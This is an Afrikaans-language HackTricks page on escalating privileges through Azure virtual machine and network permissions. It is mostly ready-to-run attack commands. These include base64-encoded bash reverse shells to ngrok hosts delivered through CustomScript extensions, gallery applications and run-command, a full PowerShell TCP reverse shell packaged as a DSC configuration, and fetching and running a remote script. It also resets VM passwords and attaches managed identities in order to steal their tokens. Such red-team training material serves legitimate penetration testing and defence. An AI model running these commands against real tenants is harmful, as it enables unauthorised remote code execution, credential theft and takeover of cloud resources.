Az - Virtuele Masjiene & Netwerk Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

VMS & Netwerk

Vir meer inligting oor Azure Virtuele Masjiene en Netwerk, kyk:

Az - Virtual Machines & Network

Microsoft.Compute/virtualMachines/extensions/write

Hierdie toestemming stel jou in staat om uitbreidings in virtuele masjiene uit te voer wat toelaat om arbitraire kode op hulle uit te voer.
Voorbeeld van die misbruik van persoonlike uitbreidings om arbitraire opdragte in ’n VM uit te voer:

  • Voer ’n terugshell uit
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Voer ’n skrip uit wat op die internet geleĂ« is
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Dit is ook moontlik om bekende uitbreidings te misbruik om kode uit te voer of bevoorregte aksies binne die VM’s te verrig:

VMAccess uitbreiding

Hierdie uitbreiding maak dit moontlik om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM’s.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)

Dit is ’n VM-uitbreiding wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VM’s te bestuur. Daarom kan dit gebruik word om arbitraire opdragte in Windows VM’s deur hierdie uitbreiding uit te voer:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hibriede Runbook Werker

Dit is ’n VM-uitbreiding wat sal toelaat om runbooks in VM’s vanaf ’n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die Outomatiseringsrekeninge diens.

Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)

Dit is die vereiste toestemmings om ’n nuwe galerytoepassing te skep en dit binne ’n VM uit te voer. Galerytoepassings kan enigiets uitvoer, so ’n aanvaller kan dit misbruik om VM-instanties te kompromitteer wat arbitrĂȘre opdragte uitvoer.

Die laaste 2 toestemmings kan vermy word deur die toepassing met die huurder te deel.

Eksploitasiemodel om arbitrĂȘre opdragte uit te voer:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Microsoft.Compute/virtualMachines/runCommand/action

Dit is die mees basiese mechanisme wat Azure bied om arbitraire opdragte in VM’s uit te voer:

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Microsoft.Compute/virtualMachines/login/action

Hierdie toestemming laat ’n gebruiker toe om in te log as gebruiker in ’n VM via SSH of RDP (solank as Entra ID-outeentiging in die VM geaktiveer is).

Teken in via SSH met az ssh vm --name <vm-name> --resource-group <rsc-group> en via RDP met jou gereelde Azure-akkrediteerings.

Microsoft.Compute/virtualMachines/loginAsAdmin/action

Hierdie toestemming laat ’n gebruiker toe om in te log as gebruiker in ’n VM via SSH of RDP (solank as Entra ID-outeentiging in die VM geaktiveer is).

Teken in via SSH met az ssh vm --name <vm-name> --resource-group <rsc-group> en via RDP met jou gereelde Azure-akkrediteerings.

Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Al hierdie is die nodige toestemmings om ’n VM met ’n spesifieke bestuurde identiteit te skep en ’n poort oop te laat (22 in hierdie geval). Dit laat ’n gebruiker toe om ’n VM te skep en daaraan te koppel en bestuurde identiteitstokens te steel om voorregte na dit te eskaleer.

Afhangende van die situasie mag meer of minder toestemmings benodig word om hierdie tegniek te misbruik.

az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Daardie toestemmings is genoeg om nuwe bestuurde identiteite aan ’n VM toe te ken. Let daarop dat ’n VM verskeie bestuurde identiteite kan hĂȘ. Dit kan die stelselt toegekende een hĂȘ, en baie gebruikersbestuurde identiteite.
Dan is dit moontlik om tokens vir elkeen vanaf die metadata-diens te genereer.

# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2

Dan moet die aanvaller op een of ander manier die VM gecompromitteer het om tokens van die toegewyde bestuurde identiteite te steel. Kyk meer inligting in:

Cloud SSRF - HackTricks

Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

Hierdie toestemmings laat toe om die gebruikersnaam en wagwoord van die virtuele masjien te verander om toegang daartoe te verkry:

az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>

Microsoft.Compute/virtualMachines/write, “Microsoft.Compute/virtualMachines/read”, “Microsoft.Compute/disks/read”, “Microsoft.Network/networkInterfaces/read”, “Microsoft.Network/networkInterfaces/join/action”, “Microsoft.Compute/disks/write”.

Hierdie toestemmings stel jou in staat om skywe en netwerkinterfaces te bestuur, en dit stel jou in staat om ’n skyf aan ’n virtuele masjien te koppel.

# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>

TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

Volgens die dokumentasie laat hierdie toestemming jou toe om die OS van jou hulpbron via Windows Admin Center as ’n administrateur te bestuur. Dit lyk dus of dit toegang tot die WAC bied om die VM’s te beheer


Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks